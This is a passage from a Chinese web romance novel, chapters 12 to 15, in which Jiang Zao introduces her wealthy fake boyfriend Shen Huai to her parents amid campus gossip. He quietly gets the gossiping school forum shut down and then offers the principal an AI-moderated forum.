“我没有。”她转身,脸上全是疲惫的表情,“我没有做那些事,我不知道你们看到了什么,但我确实什么都没做。我在校外兼职接到了商演,被骗到了那里,感觉到不对我就出来了,真的什么都没做。”
隔壁栋的王妈早就听到动静,就是一直没敢出来,听清了这段才从家里走出来:“哎呀,好了好了别吵了...”
姜早没管后面是什么声音,转身混入了夜色,没再回头。
夜色里,路灯下,姜早漫无目的的走,公交车最晚的班车已经过了,现在,无处可去。
凉风凄凄,不多时就下起了雨,如同针一般刺向地面,砸的地面泛起阵阵涟漪。
姜早走到公交车站台下,望着漫天的雨,情不自禁伸出手,扑面而来的是阵阵秋风,凉意能从袖口灌入整个身体,几滴雨落到脸颊上,凉凉的。
她将头轻轻靠在指示牌上,看着聚水的水滩,似乎能从那个镜面中看到自己可笑的一天。
她回想起妈妈说的那段话来。
说的何尝不对。
她确实没有在这个领域发光发彩,也没有按当时约定让他们骄傲。
她逃,不止因为他们的不信任,更因为自己的自尊被提在半空的窒息感,还因为被甩落时狠狠践踏的那种狼狈感。
那种感觉,不好受。
雨水混着泪无止境的从脸上滑落,她浑然不觉,只是静静地,呆呆的,看着地面。
电话铃恰是响起,姜早如同机器,接起电话,放到耳边。
电话里,是木奈奈急切的声音,问她怎么没有回她信息。
“我...”
姜早将手机拿远,调整两次呼吸,再放到嘴边,又张嘴说了一个我字。
眼泪从眼眶滑下,她闭眼,按了挂断键,慢慢蹲下,双手轻轻圈住膝盖,将头埋起来。
隆隆雷鸣,在大风追赶下,戚戚沥沥,如泣如诉,乡间四处,铺天盖地的尽情宣泄。
脚步声轻踩水坑,变成了除了雨声外,街道里唯一的声响。
那脚步就这么由远及近,最后在姜早面前停下。
姜早凝视着缝隙里窥见的黑色西裤,慢慢抬起头,猝不及防撞入那道墨色的眸里。
他长身玉立,举着伞站在雨里,仿佛与周遭的景混为一体。
12. 第 12 章
她浑身湿哒哒的,头发往下滴水,两只眼睛红彤彤的,一看就是刚刚哭过。
姜早没想到会在这里看到沈淮,一时忘记掩盖狼狈,慌乱道:“你怎么会在这?”
沈淮看着她泛红的眼眶,愣了愣,错开眸:“路过。”
隔了一条马路的小道,停了一辆黑色的迈巴赫。
坐在驾驶位的司机正伸长脖子往外看,离得太远他压根看不清那边的两个人,只能模模糊糊看到两个人影。
他嘶了一声,手端着脸发愁,一时不解为什么小沈总让他把车停在这里,去走那么长一段路。
一阵电话铃响起,他手脚利索的接起来。
“放心吧夫人,人我已经送过去了。”
姜早才不相信这番话。
回想起自己在车上打的电话,估计都被司机听了去。
无奈之余,还有些狼狈,她没想过这么晚,还会碰到熟人。
她咬了咬嘴唇,朝他请求:“你可不可以,先转过去。”
沈淮点头,转身。
姜早站起来,用袖口往脸上轻轻擦拭,半响才道:“好了,你转过来吧。”
沈淮转身,认真地看她:“要不要送你回京城?”
姜早微愣,她确实想提出这个请求,却没想到,会先被他说出口。就这么静静地看了他一会儿,才应:“好。”
这把黑伞不大,两个人撑刚刚好。
姜早不适应离人太近,便故意保持一前一后走,一时不注意,脚绊着石子,不受控的往旁边倒去,意料中的痛感并没有出现,一双手及时揽住了她。
两人在伞下对视,目光交汇的瞬间,仿佛时间在此刻停滞,只有彼此的心跳声。
司机举着伞蹲在草丛下,默默掏出手机,对准那两人拍了张照,笑盈盈的发给夫人,并在后面加上了个捂嘴笑的表情。还未等到手机放下,页面更新,对方转了个大红包过来。
“嘿嘿。”
伞下,姜早感觉脸愈来愈热,轻轻推开他:“谢谢。”
她刻意让自己平静,但语气和表情又藏着难以抑制的慌乱。
沈淮盯着她湿了半边的肩膀,将伞偏了偏:“没事,走吧。”
他等着姜早抬步,却见姜早迟迟不动,便就这么等着。
突然那双眸子抬起来,那眸光似试探,似期许。
“我本来是来拿户口本的,可是失败了。你可以见一下我爸妈吗?不然我好像拿不到户口本了。”
只听到沈淮轻轻的嗯了一声,也不知道他懂不懂这句话所代表的意思。
回去的那条路上,姜早反复强调自己的名字叫姜早,生怕他记不住自己的名字,等会露馅。
沈淮漫不经心的应了几声,也不知道有没有记住。
走到家门口的时候,客厅的灯仍旧亮着。
姜早有些忐忑,手抬起,定在门上,却没落下声响。
她还没做好准备。
方才他们发生了那么激烈的争吵,说她想面对是不可能的,只是,不面对,又能怎么办呢。
正在她犹豫不决时,右手被一只大手包裹,带着往下,在门上叩响。
姜早听到里面传出响动,身体不由自主的僵硬起来,视线向上一抬,撞上了男人投过来的目光,微愣。
仿佛被无形牵引,他目光中的平静让她不自觉安定下来。
他说:“有我。”
姜早不禁想,如果他的职业不是做男模的就好了。
门从里面打开,推门的人是父亲,他脸色不好,大约是刚吵过一次架的原因。
“伯父好,我是沈淮,姜早的男朋友。因为工作原因路上耽误了一些时间,来晚了,不好意思。”
爸爸先是担忧的打量了姜早一眼,确认人没事之后,才上下打量了一眼沈淮,脸色说不上好看,但比方才也好了一些,客气道:“先进来吧。”
姜妈妈和王妈本来在说话,闻声也停了嘴,往门口看过来。
本来还在分析姜早那些新闻真假的两人,一看到沈淮的脸,顿时将姜早门口说的那番话信了一大半。
人家男朋友分明是正常的小伙子,哪是什么老头子。
姜早和沈淮被招呼到桌上等,姜爸姜妈把饭菜一个一个端上来,怕菜不够又炒了几个新菜。
王妈本来就是过来看戏的,没去帮忙,就和他们面对面这么坐着,没话找话道:“小早,你也别怪你妈误会,那些照片拍出来确实就是容易让人误会。以后那种不正经的地方还是要少去,拍出来的照片影响多不好,你花花妹妹都说了,学校里传你的事情传的那叫一个沸沸扬扬。”
姜早抿唇,没做声。
沈淮这时候疑惑侧头过来:“传什么?”
姜早没打算把这件事让他知道,便直言:“没什么。”
“你不知道啊?”王妈倒是热情,知道他不清楚这件事,还以为人儿是脚踏几条船,想着看热闹,便赶紧拿出手机,点开链接,递过去。
姜早看到他接过手机,划了两下,脸上没什么表情。直到王妈要收起手机,他才将目光转过来。
却是体贴问:“怎么不跟我说?”
这两个帖子发的内容,他都知道原委,自然知道她是被冤枉的。
姜早错开目光,闪躲的颇为狼狈,每次这种窘迫又狼狈的时候,好像都能被他看到。
“我自己能处理好。”
沈淮拿起电话,不知打给谁,电话很快就接通了。
“两件事,第一件,找技术人员把江大论坛封了。第二件,转告林老校长,明天我会亲自去学校拜访他。”
听完,不说王妈脸上的表情不对了,姜早的表情都有些狐疑。
如果说,这段话是在给她找回面子的话,怎么这么不像此人的风格。
沈淮挂了电话,侧头看她,眉眼温和:“这件事交给我处理,你放心。”
王妈低头,狐疑的低头,手机页面在一个瞬间就变成了404。
她这回有些吓着了,难不成人家确实是个有实力的主儿…一下子,就有些坐立难安了。
菜上的差不多,姜爸姜妈也坐了过来。
姜妈很擅长场面活儿,即使刚刚吵了一架,有外人在还是会装的客客气气:“你们什么时候认识的,怎么提都没听小早提起过。”
姜早扶额,顿时感觉冷汗直冒。
她妈虽然一直催着早结婚,但是也是有要求的,至少谈几年恋爱再结婚。
以前,她妈找来的那些相亲对象,特地给人家的要求就是,先谈三年,不能闪婚。
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要是被她知道,自己和沈淮没认识多久就要领证结婚…后果不堪设想。
姜早将手放到桌子底下,抬眼看了一眼周围神色,没人注意,挪手轻轻放到另一腿腿上,在他腿上戳了五下。
她能感觉到沈淮浑身僵了一下,不过也顾不了那么多了。
沈淮无奈侧头,正对上她祈求的眨眼,轻笑道:“有五年了,她想等我工作稳定了之后再带我来拜访你们,也怪我,之前公司事情多一直很忙,就拖到了现在。”
说完后,他看了姜早一眼,似乎是在说,你满意了吗?
姜早感激地舀了一碗鸡汤,递过去,在他耳边小声道:“这个好喝,你尝尝。”
沈淮捧着鸡汤,在期许的目光中,舀了一口,点头应她:“是好喝。”
“五年啊,那是挺久了,难怪我让她相亲都不肯呢,原来早就谈着了。”姜妈笑道。
姜爸也开解道:“没事,来了就好。”
他一进屋就在观察这个小子,待长辈有礼貌,也谦逊,还算可以。
王妈这时候插嘴道:“小伙子长得真挺拔,是已经工作了吧?是做什么的?”
姜早浑身一震,这才想起来这件大事还没和他对过口供。一时担心他说错话,赶紧抢答道:“就是科技公司里的小员工,挺稳定的。”
她说得快,语气不免急了些,说完颇为心虚,不敢侧头看旁边。
虽然她不鄙夷他的职业,但是要是让她爸妈知道他是干男模的,肯定不会让他健全的出这个门。
姜爸姜妈听完点了点头。
姜爸表情不多,姜妈倒是带了点笑意,小伙子长得文文气气的也有气质,工作体面也稳定,她挺满意的,便道:“小沈,吃菜,这娃娃菜好吃,你尝尝。”
王妈杨着脖子开口:“哎呦现在经济都不好,能有一个工作稳定的打打工就已经很好了。不像我闺女那个男朋友,找不到工作吧就投资开了家小公司,一年到头也就赚个五十来万,还没打工赚的多呢。”
要知道,哪个普通打工的一年能赚五十万,这分明就是炫耀。
王妈说完,桌子上的气氛就怪起来。
姜妈还是恭维了几句,说小伙子有拼劲挺好的,以后还要抱他们家大腿。
说的王妈有些飘飘然:“怎么是抱我大腿,我家闺女还说让我抱早早大腿呢,就那张早早上车的照片,上的车据说是迈巴赫,我闺女说这车牌贵,少说要一百多万呢!”
这数字说出来,姜爸姜妈脸色都是一沉。
姜早正要做解释,身边沈淮抬眼,淡淡道:“两千五百万。”
姜早闻声,默默看他,一时分不清他说的是不是真的。
王妈脸色一紧,尴尬笑道:“没想到小沈对车也很有研究啊。”
沈淮将剥好的虾送到旁边的碗里,平淡开口:“研究说不上,这车恰好是我的。”
他视线看着姜爸姜妈,接着道,“叔叔阿姨不好意思,本来是我送她的,但是我临时公司有事,就让司机送她回去了。没想到被人拍了下来,给早早添了麻烦。”
姜早盯着碗里的虾,听到那声早早微怔。心中默默想,沈淮好会演...
饭桌突然陷入一种古怪的沉默,连正在夹菜的姜妈筷子都停住了。
13. 第 13 章
那天晚上,因为太晚,他们很早回了房间。
姜爸姜妈确实很喜欢沈淮,专门帮他收拾了间客房,姜早也顺利拿到了户口本。
夜深时,姜早吹着头发,没听到门口的敲门声,半开的门被推开。
她余光感觉到动静,侧头过去,沈淮站在门口,手上还拿着一件睡衣。
沈淮道:“客厅的浴室坏了,你爸妈让我来这里洗。”
“哦。”姜早点头,依稀记起他有洁癖,便问,“你要不要换一套睡衣,我这里有新的睡裙。”
沈淮打量了一眼她身上穿的睡裙,果断道:“不必了。”
姜早点头,他爸也有点洁癖,这套睡衣肯定也是洗过的,干净,只要沈淮不介意就行。
看他要进来,提醒道:“对了你别关...”
沈淮刚关上门,手还留在把手上,疑惑的侧头问:“什么?”
姜早扶额,有些抱歉道:“我房间的门锁坏了,门关上就不出去了。”
沈淮拧了两下门,果然已经拧不动了。
姜早道:“你先进去洗吧,我打电话让我爸妈过来开门。”
沈淮嗯了一声,拎着衣服便进卫生间洗了。
姜早点开通讯录,给姜爸打过去,电话提示声嘟嘟了好几下,最后传来一阵机器女声。
她蹙眉将手机离开耳边,又打了一个电话过去。第三个...第四个...还是没接。
姜早抿唇,犹豫了一会,才点开妈妈的号码打过去,电话仍旧只是嘟嘟了几下,最后传来机器女声。
她走到床边,往地上看了一眼,地上只反出他们房间的暖黄色灯光,哪还看得到别的色块。她双手捂住脸,有些崩溃,倒是忘了她爸妈有个倒头就睡的本领。
糟糕了...
沈淮从浴室里出来,就看到姜早眼巴巴的望着门口,脸上有种莫名的...心虚。
“怎么了?”他拎起高定白衬衫,擦了擦脖子上还在往下滴的水珠。
姜早挠了两下头,有些不好意思道:“我爸妈睡了,打他们电话没打通。”
她是过开个窗,对着窗户把他们喊醒。可这么一喊,周围邻居也会醒,她丢不起这人。
看沈淮没说话,她赶紧找补道:“我已经给你收拾好了!你今天睡床,我睡地上,床上我已经给你换好了新的床单、枕套、被套。”
沈淮没那么在意,道:“随你。”
不需要在父母面前扮演,只有他们两个人的时候,几乎都是各干各的事情。
姜早习惯睡前看书,但房间里有别人,便有些看不下去,神思经常飘出去,怎么集中注意力都不行。索性便也不挣扎,侧头瞄了一眼旁边。沈淮正在看手机,眼神很认真。
她回想起饭桌上那些话,将书盖上,道:“刚刚饭桌上说的那些,我希望你别在意。我不是看不起你的职业,是我爸妈不太能接受男模这种职业。”
沈淮正在滑动文件的手停住,看向她:“男模?”
姜早还当他是不好意思,便接着道:“每个人都有自由选择自己职业的权利,做男模其实也挺好的,可以和各种各样的人聊聊天...”毕竟,三百六十行...行出状元...
话是说出口了,可是在沈淮那道幽暗的目光下,声音愈来愈小了。
沈淮看她,问:“谁跟你说我是男模?”
姜早见他没什么玩笑的意思,瞳孔猛地一震:“你不是男模?你不是男模酒店怎么进的我房间。”
沈淮盯着她:“你那晚还点男模了?”
不知怎的听见这话,姜早有些心虚,但还是回答了:“不是我点的。咳咳,我喝了点酒,睡前记得我朋友玩笑说要给我点男模,我生怕真给我点了,就打电话给前台说不要男模...但他们好像听成要男模了...”
沈淮被下了药,对那晚的回忆还是有的,房间酒味很大,确实是喝醉了。
原来是一直把他当成那晚上点的男模了。
“我不是男模,酒店系统出错,把房间卖给了我们两个,我那晚恰好被下了药。”他没打算隐瞒。
“什么?”姜早眼底灌满委屈,“你怎么不早说。”
她其实也不吃亏,沈淮很好看,有男模的潜质...
她蛄蛹了两下起来,拿起手机道:“我要投诉他们酒店。”
沈淮淡淡道:“已经闭店了,他们税务被查出了问题,全进去了。”
三千万的漏洞,够他们蹲几年了。
房间静了一会儿,静到针落可听。
姜早突然意识到,沈淮刚刚饭桌上说的那些都是真的,不是为了骗过她爸妈说的场面话。结合小苹果家的大洋房,和车接车送的司机,瞬间意识到他们不是一个世界的人。
......
这件事,他们两个都是受害方。要因为这件事捆绑在一起,对他们两个来说都不公平。但双方父母这边说都说了...
姜早沉吟了一会,道:“我们去领证的消息,不要公开行不行?”
她看到沈淮没有说话,便接着道:“这样的话,对我们的生活就不影响了。”
这样的话,也可以减少一些对沈淮的影响。
“嗯。”沈淮说。
姜早说了一声先睡了,便缩回被子里了,很快也就睡着了。
沈淮阅览完手机里的电子合同已经凌晨三点,给助理发了几个需要修改的点,便打算睡觉。还没关掉的聊天框,很快就来了消息。
助理:小沈总,那个坏女人没再纠缠你吧?
沈淮朝旁边看了一眼,她将自己缩成一团,已经睡了过去。
他看着聊天框,敲了几个字下去,然后便睡了。
另一头,在豪华大床上的小助理看到消息,从豪华大床上跳起来,嚎叫道:“我做错了什么!为什么要扣我绩效!”
次日一早,天蒙蒙亮,姜早的闹钟准时响起。
她只请了一天的假,第二天还是要准时去学校,不然老师那边不好交代。
她清醒后看了一眼身上的被子,不知道什么时候身上的被子多了一层,反观床上的沈淮的被子不见了。
恰好沈淮醒过来,两个人就这么对视上。姜早想缓解自己一直盯着他被发现的窘迫,便开玩笑道:“你还踹被子啊?”
沈淮道:“你昨晚梦话一直说冷,我才把被子给你。”
姜早顿时禁声了。
两人很快就收拾好了,门外爸妈恰好也看到消息给他们开了门。出乎意料的,二老对他们两个昨晚睡在一起这件事似乎没什么意见,直到吃完饭他们两个要走了,二老都没说什么。
隔壁王妈特地起了个大早,和几个一直早起的婆子聊天,其实眼珠子一直在往姜早家看。昨天去姜家吃饭听到的那些,她其实已经信了大半,但不亲眼看看她还真死不了这心。
“以前都说他们家的早早有出息,年年都是三好学生,没想到到外面读书之后跟变了个人一样,要不是王家媳妇跟我们讲,我们都不知道。”
“王家媳妇,你上次说妞妞在学校里又听到什么新闻了?也是关于她们早早的吗?”
王妈磕着瓜子,眼睛都快斜了都不见姜家大门打开。
不应该啊,昨晚明明说第二天一早就要出门的,难道怕发现不对凌晨就走了?她正想着,忽然听到自己的名字,一激灵,心虚的问:“啊哟,岁数上来了,耳朵也有点听不清,你们刚刚说什么?我没听清。”
几个婆子笑起来。
“比我们年轻一二十岁,耳朵倒是没我们灵光,叫你耳朵里别老放个耳机你不听,耳朵都是这样弄坏的。”
“昨天早上你不是说,你家花花又给你发消息了,说是早早的什么事儿,你那时候去买菜了没跟我们说清楚,今天你再说说。”
王妈靠在椅背上,抖着脚,她现在也不敢随便说什么,随口回了一句:“哎呀,别人家的事情还是少聊聊。”
“就咱们几个
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说说,又不会传给别人,你担心什么?”几个婆子嫌弃道。
王妈呵呵了一声,信你们个鬼,就你们几个婆子传消息传的最快,早上跟他们说,第二天附近都知道了。她摆摆手道:“哎呀,再说姜百舒要跟我闹,我真不说了。”
其中一个婆子道:“没事的,我们又不告诉她。”
“再说了,平时她老炫耀她家闺女比你家闺女高一头,现在她家闺女混成这样,你说几嘴怎么了哈哈哈,你这娘们还装的来。”
王妈面上不好看,那几个老婆子说的真没错。她和姜家是邻居,姜早生的好看学习成绩也好,姜百舒时不时就要来炫耀一下,让姜早当她家闺女榜样,街里街坊也都知道她家有个年年考第一的漂亮姑娘,她家闺女就算再优秀,她在这儿都也都要矮姜百舒一头。虽然面上她不显,实际上她就是盼不得姜家好。
前些日子,她家闺女刚给她发来那些照片,她就高兴的往周围传开去了。
这要是真的还好,姜百舒也没脸追究什么。可这要是假的,姜百舒肯定心里要对她有意见了。
昨天她家那未来女婿长得那是真不差,谈吐也不一样,家里底子不差。完了,这要是真的,姜百舒得炫耀多久...
她正想着,突然看到一辆黑色大车开到了姜家门口。
这车!不就是花花发来图片上的车吗?车标大小颜色都对上了。她心吊到了嗓子眼,可还是心存侥幸,毕竟人又没在车上...
下一秒姜家的大门从里面打开,里面一对养眼的小年轻走出来。黑色车的主驾驶走出一个人来,替他们两个开车门...
她悬着的心终于死了。
这好事儿还真让姜百舒得了...
几个婆子见她表情怪怪的,便顺着她看的方向看过去。
“这不是姜家小姑娘嘛?她这两天在家啊?怎么也没见她出门。”
“出了这些事,估计她妈妈把她喊回来的吧。”
“哎,旁边那个小伙子是谁?长得还怪好看的勒。”
“谁说不是,和姜家小妮儿蛮般配。”
“这是不是妮儿男朋友啊?我看那男的送她上车还要护着她的头勒。”
姜百舒没心情再看,拎起小板凳走了。那些婆子的问题,等姜百舒回过劲了就能全解答了,她可没兴趣替姜家解释什么。
姜早望着窗外,车水马龙的早市,此行的方向与记忆中的那段路背道而驰,直到车驶出高速路,她才收回目光。
她分不清自己现在是什么心情,又好像有好几种心情,是远离父母后的轻松,也是离开故地的怅然,亦是要迎接陌生身份的未知和茫然。
一阵电话铃响起来。
姜早接起来,是木奈奈打来的。
“姜早!你猜怎么的!那个校园论坛早上打不开了!”
打不开了?
姜早侧头看了一眼身边的男人,他正在看文件,神情淡然。
她回过头,不自然道:“啊,怎么突然打不开了。”
木奈奈心情畅快的很:“谁知道呢,反正是一桩好事,那校园论坛乌烟瘴气的,一堆八婆在里面攻击这个攻击那个,不是什么好地方,打不开了也好!”她静了一会儿,语气放轻道,“早早你是不是这两天没和你硕导请假啊,我上次去交文件的时候,那位硕导正在说你...你这硕导心思挺多的,你还是发几个消息给他道歉吧,免得他给你延毕。”
...
这倒是个大事。
姜早朝旁边问:“你一会儿有什么事吗?”
沈淮视线仍旧停留在合同上,平淡道:“有,去排队领证。”
姜早听到那个词还是有些不自然,顿了顿才道:“能不能先送我去学校一趟,我找老师有一点急事。”她说完又补道,“应该很快,我好了打你电话,我们再去领证可以吗?”
沈淮将合同翻页,语气仍旧淡淡:“嗯,依你。”
姜早也嗯了一声,看向窗外。
14. 第 14 章
离校门口还有一个红绿灯的时候,她就下车了。
十分钟后走到校门口,路人朝她投来目光的不少,她庆幸自己没坐车来,一不小心又会成为话题中心。她不避讳成为话题中心,只是这种话题中心不能是负面的。
像这种从豪车上下来...一定不是什么好新闻。
经历过几天修整,她应对那些投来的目光,也不像之前那般在意了。比起这些,她现在更在意的是,该怎么跟硕导解释她这两天的旷课行径。
“早早姐?”
身边与她擦肩而过的女生,似乎是认出了她,高兴地喊她。姜早沉浸在该怎么跟硕导解释这件事里,没听到有人喊她,接着往前走。
离上课还有十五分钟,教授习惯早七八分钟去教授,她恨不得生三条腿快点走,赶在硕导进教室之前和他解释清楚。原先她想跑的,又怕周围人朝她投来异样目光,显得她狼狈,就只好像这样快步走。
女生见姜早不搭理她,眼中闪过阴霾,转瞬消失殆尽,像是从来没出现过那样。她小跑了几步,走到姜早身边,脸上挂着可爱的笑脸::“早早姐~咱俩难得偶遇!好久不见!”
姜早停下来,她记得这张脸,是隔壁王妈家的女儿,比自己小一岁。
王妈常常带她过来串门,因为高她一个年龄段的原因,自己也经常被安排给她补习。姜早有感觉她不太喜欢自己,所以她们两个的交流也只限于在补习上的交流。
自从上了大学,她们两个就没碰过面了。过年的时候是听她妈妈说过,王妈家的孩子也考进了这个学校,没想到过了这么久才碰到。
“夕...瑶?好久不见。”她有些生涩的叫出这个名字。
并不是对她印象多深,还记得这个名字完全得益于她记忆力还不错。
王夕瑶开心道:“是啊,好久不见!”她确实是开心,自从校园论坛上那些照片被发出来,她恨不得马上见到姜早,看看她落魄时候的模样。她特地去问了姜早的教室和经常去的自习室,三天了都在那边转悠,想要来一场偶遇,结果都落了空。
就在她想要放弃找人的时候,人竟然就这么送上门来了。
王夕瑶打量她的表情,试图从她脸上看到不一样的情绪,可那张脸一直淡淡的,实在是看不出狼狈。她故意装作小心翼翼提醒道:“早早姐,这两天校园论坛上同学们留言的你千万别在意。”
姜早正在看时间,闻言眉头微动,审视的眼睛扫过去,她可不相信这人有这么好的心。
果然下一秒,王夕瑶凑过来,小声道:“他们就是妒忌你能被大佬看上,你不用在意他们说什么。我就觉得老男人挺好的,攀上一个下半辈子都不用奋斗了,到时候富贵了可别忘了我。”
她说完,退了一步,想品一下姜早脸上是什么表情。
想象中愤怒的表情并没有出现,那双眸子静的似一汪泉水,没有任何波澜。
怎么会这样?不应该啊?难道是说的不够难听?她还想再发起进攻,一阵手机铃响起,王夕瑶蹙眉掏出手机,是她妈打来的。
这个时候打来干嘛?把她思绪都打乱了!
姜早平淡开口:“你这么有抱负,相信你靠自己也能富贵,我还有事我先走了。”
她没时间去理论这些了,比起和她争辩这些莫须有的事。她更关心硕导那里,也不知道他有没有离开他的办公室。
姜早没有等她回答,离开的很快。
王夕瑶不甘心的看着那道背影离开,接起电话时也带了几分怨念。
“妈?你这个时候打我电话干什么!”
王妈此时正坐在沙发上,电视在放搞笑节目,她一点看的心情都没有,今天一天都没有出门,就怕姜百舒知道她在家,跑来跟她炫耀。
她现在这样还能怪谁,不都怪自己闺女给她这些消息嘛,害她闹了笑话。她本来就是想告诉闺女这个消息是假的,一听这语气,她也不高兴了。
“我还不知道你吗?白天都找人代课出去玩,我怎么就不能这个点给你打电话了?”她没好气道。
王夕瑶一听她妈语气不对,便收敛了脾气:“什么事?你说吧。”
王妈把电视关了,另一只手扶着额头道:“还能什么事,就你上次跟我说的那些乱七八糟的,你都不知道真的假的就跑来我这跟我说?你知道我丢了多大的人吗?”
王夕瑶心中预感不好:“妈,你什么意思?”
王妈道:“人家姜早昨天都回家来说了,人家就是赚个外快去跳舞,没去干那乱七八糟的。也没老男人包养她,人家男朋友和她差不多岁数,都快谈婚论嫁了,恩爱的很勒。”
王夕瑶惊疑的问道:“什么!她有男朋友还要结婚了?”她妈妈说的第一句,听了之后她没多震惊,姜早上次发帖回应过这件事,帖子下面很多人不信。她和姜早从小认识,知道她品性,当然知道她说的是真的。
令她意外的是第二句...
论坛里那个帖子拍的很清楚,姜早就是和一个中年男人上了车,到底是哪里出了错?
她仍不死心,问道:“你确定吗妈?这是你哪里听来的?”
王妈懊恼道:“哪是我听来的,是我亲眼看到的。我昨天就在她们家,那男的叫沈淮,是个富二代。姜百舒眼珠子都快掉出来了,人家一要户口本,她就给了,生怕人家不
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结似的。”
“你上次给我发的,里面有个照片,就是人家的车,开车的是人家司机勒。所以不要听风就是雨,你看看现在这事儿闹的,我都不好意思去他们家了,以后估计捞不上什么好处了。”
王夕瑶脑子轰的一下炸开了,王妈说什么她都听不清了,脑海中一遍遍回荡着这个名字。
沈淮?沈淮!她忍不住失声尖叫:“你说那男的叫什么?!”
王妈一时不清楚她这是什么反应,问道:“叫沈淮啊,你这么大反应做什么?”
王夕瑶收手挂断电话,呆愣在原地。
这个名字她怎么可能没听说过,他曾经是江大的校草,就算是后来转去留学了,事迹也依旧在学校里流传。他入校第一年就代表学校拿了不少第一回来,第二年就拿了国奖。
沈淮在江大的时候,有不少人都想去金融院偶遇他,几乎没有人碰到过他,他几乎天天都出去打比赛,连任课老师都说他忙到见不到人影。
沈淮?那个高岭之花的男人?是姜早的男朋友?!还要结婚?
她眼睛红的眼滴血。
不可能,这不可能是真的,一定是同名同姓。大学里,姜早和沈淮甚至一点关联都没有。
一定不是真的...一定是同名同姓...
还好,她有办法求证。
她急迫的打了一个电话,对面过了好久才接。
“江婷学姐!”
能证实这件事的只有江婷学姐,当初沈淮出国留学后不久后,江婷也出国留学了,还是同一个学校的offer。
她能有江婷的联系方式还是因为当初一起在学生会,部长之间需要互相有联系方式。
“什么事。”那是道干练的女声。
王夕瑶心中着急,便也不管叙旧了,直接问道:“您现在还和沈淮学长有联系吗?他还在国外吗?”
那女声冷淡道:“你问这个干什么?”
王夕瑶现在反应过来自己的反应太奇怪,便向她解释道:“我听我妈说,隔壁的邻居姐姐带回来了一个男朋友,名字就叫沈淮。我就是好奇,所以来找你问问,不知道是不是同名同姓。”
“当然是同名同姓,不然呢?”江婷从办公椅上站起来,走到全景床边俯瞰楼下的高楼大厦,“既然问题我解答了,也希望你不要再和别人提起这件事了,我不希望你给他造成任何困扰。”
能和那个名字连在一起说出来的,只能是她。
王夕瑶心中大石落地,轻松不少,语气也带着一丝雀跃:“放心吧江婷学姐,我不会再说了,在我心里你和沈淮学长才是一对!你们如果有好消息一定要通知我哦~”
15. 第 15 章
姜早一路都在给硕导道歉,好在也是有结果,硕导宽宏大量的放过她了。
她做下最后的保证:“老师放心,我以后绝对不会旷课了。”
硕导摆摆手:“你的那些事情我都听说了,重心还是要放在学习上,社会没那么多捷径可走。”
姜早知道硕导说的是什么,她正欲解释,抬眸的瞬间正看到沈淮迎面而来。
她顿了一下。
“哎?你是沈淮吧?你怎么来了!”硕导看到迎面走来的人,眼里放光。
沈淮不止在学生里面有名,在他们老师堆里也有不小名气。
当年这个状元报了金融差点让金融那帮老家伙乐死,后来那帮老家伙可是靠着沈淮拿了不少名利。还好这小子后来转学了,不然金融院那帮老家伙履历估计要赶上竞争院长了。
本来还有一个教授想挽留,被其他几个老教授拦下了。
这种金子到哪里都发光,到国外只可能发展的更好,拦下来搞不好还耽误他前程。
现在那帮老家伙办公室里还有沈淮照片呢,他们互相串门的时候,照片就摆在正对面,生怕有人没看到他们的合照。
沈淮视线只轻轻滑过她,而后再也没有对视,像是不认识她那样。
“我找校长有些事要谈谈,请问,校长办公室在哪里?”他问道。
硕导爽快的笑了一声:“就在顶楼,就是这位置估计不好找。”
姜早正觉得没她什么事了,刚想往外走。
“这样吧,我学生正好在这里,让她带你去一下,姜早,你来带沈淮去一趟校长办公室。”
姜早脚步陡然一停,尴尬的转过身:“我?”
硕导没好气道:“当然是你,我要去上课了,好了别耽误时间了,赶紧去吧。”他看了一眼手腕上的表,侧头和沈淮笑道,“那我就先走了。”
“嗯,慢走。”沈淮淡淡道。
姜早望着那个背影,颇为无奈。
她这位硕导,对人还真是有不一样的面孔。
她回头看沈淮,他脱了西装,身上只穿了一件白色衬衫。
一件衣服对人的影响真的可以很大,沈淮穿着西装像社会精英,脱了西装只像个干净纯洁的大学生。
“你怎么来了?”她小声问。
沈淮云淡风轻道:“有一些合作要和校长谈。”
姜早喃喃道:“哦...我还以为...”还以为他要来找校长说论坛那些事,毕竟昨晚他昨晚当着他爸妈的面,表现得很想为她伸张正义。
沈淮问:“以为什么?”
姜早忙不迭说:“没什么,走吧,我带你去校长办公室。”昨晚他能够端掉那个论坛,她已经感恩戴德。
她不贪心求取其他,他们之间的关系,还没有到那个在外人面前为谁说话的程度。
这是教师楼,很少有学生会来这里。但为了避免有人看到,她走的时候还是刻意和沈淮保持了一点距离。
楼梯上只有他们的脚步声,她觉得走的尴尬,便大着胆子搭起话来:“我之前听说过你也在江大读书,可为什么大三转学去国外了?”
沈淮望着阶梯,眼神中闪过一丝不一样的情绪,转瞬即逝没让人察觉到。
“没什么原因。”
姜早没感觉到他的情绪,只觉得自己越界了,索性便不说了,轻轻哦了一声。
剩下的路走的很安静,校长办公室在一个拐角,她将人带到就打算走。
谁料开了门之后,校长看到了她,把她也给叫住了。
“姜早,正好我有事要找你,你先在门口等一会儿,我一会儿喊你进来。”
“嗯,好。”姜早答应道。
门被关上,校长起身请沈淮坐到沙发上,他坐到了对面,给沈淮倒水。
“听说你在国外做出的成绩很不错,这趟回国有没有想法在江大任教?”他当年十分惋惜这样的人才出国,自沈淮出国后,就一直有留意沈淮在国外的动向。据他所知,沈淮在国外期间学术上拿到的成就,足以让他所在的顶尖学府,直接给他任教的offer。
不过后来他爸还是让他回来接手公司了,当然这件事少有人知道。
“谢谢。”沈淮接过递来的水,婉拒道,“我暂时还没有这方面的打算,这次来是为了和贵校在技术上达成一些合作。”
校长虽然惋惜,但也没再强求,听他提起合作,来了兴趣,示意他接着讲。
“据我公司勘测到,你们的网站昨天晚上被攻击了,至今没有恢复。”
“嗯,确实。”校长听到这件事便蹙起眉头来。以前校园论坛不是没被攻击过,没几分钟就能被校方救回来。这次不止救不回来,还破解不出攻击方的ip。
沈淮云淡风轻道:“我的技术团队可以帮你们解决这个困难,不过...”
“说吧,什么条件。”校长笑道,他在这个位置待久了,见惯了弯弯绕绕,反倒是这种直接的交流让他更为舒服。
沈淮淡淡一笑,接着道:“我们公司科技团队研发过一款智能化管理的网站,相比于普通论坛模式,增添了人工智能审查的新形势,所有发帖人的言论都会被智能筛选,不合规的帖子会被立刻删除。”
“哦?这个功能倒是不错。”校长认真思考起来。他不是没听说过学校最近传的这些,归根结底就是缺少了一些帖子的审核机制,导致舆论扩大甚至对学生网暴。
沈淮拿出随身的文件,递给校长:“这是我们几次试验和投入市场的反馈报告,您可以看一下。”
校长这回也认真起来了,接过文件逐字看起来。
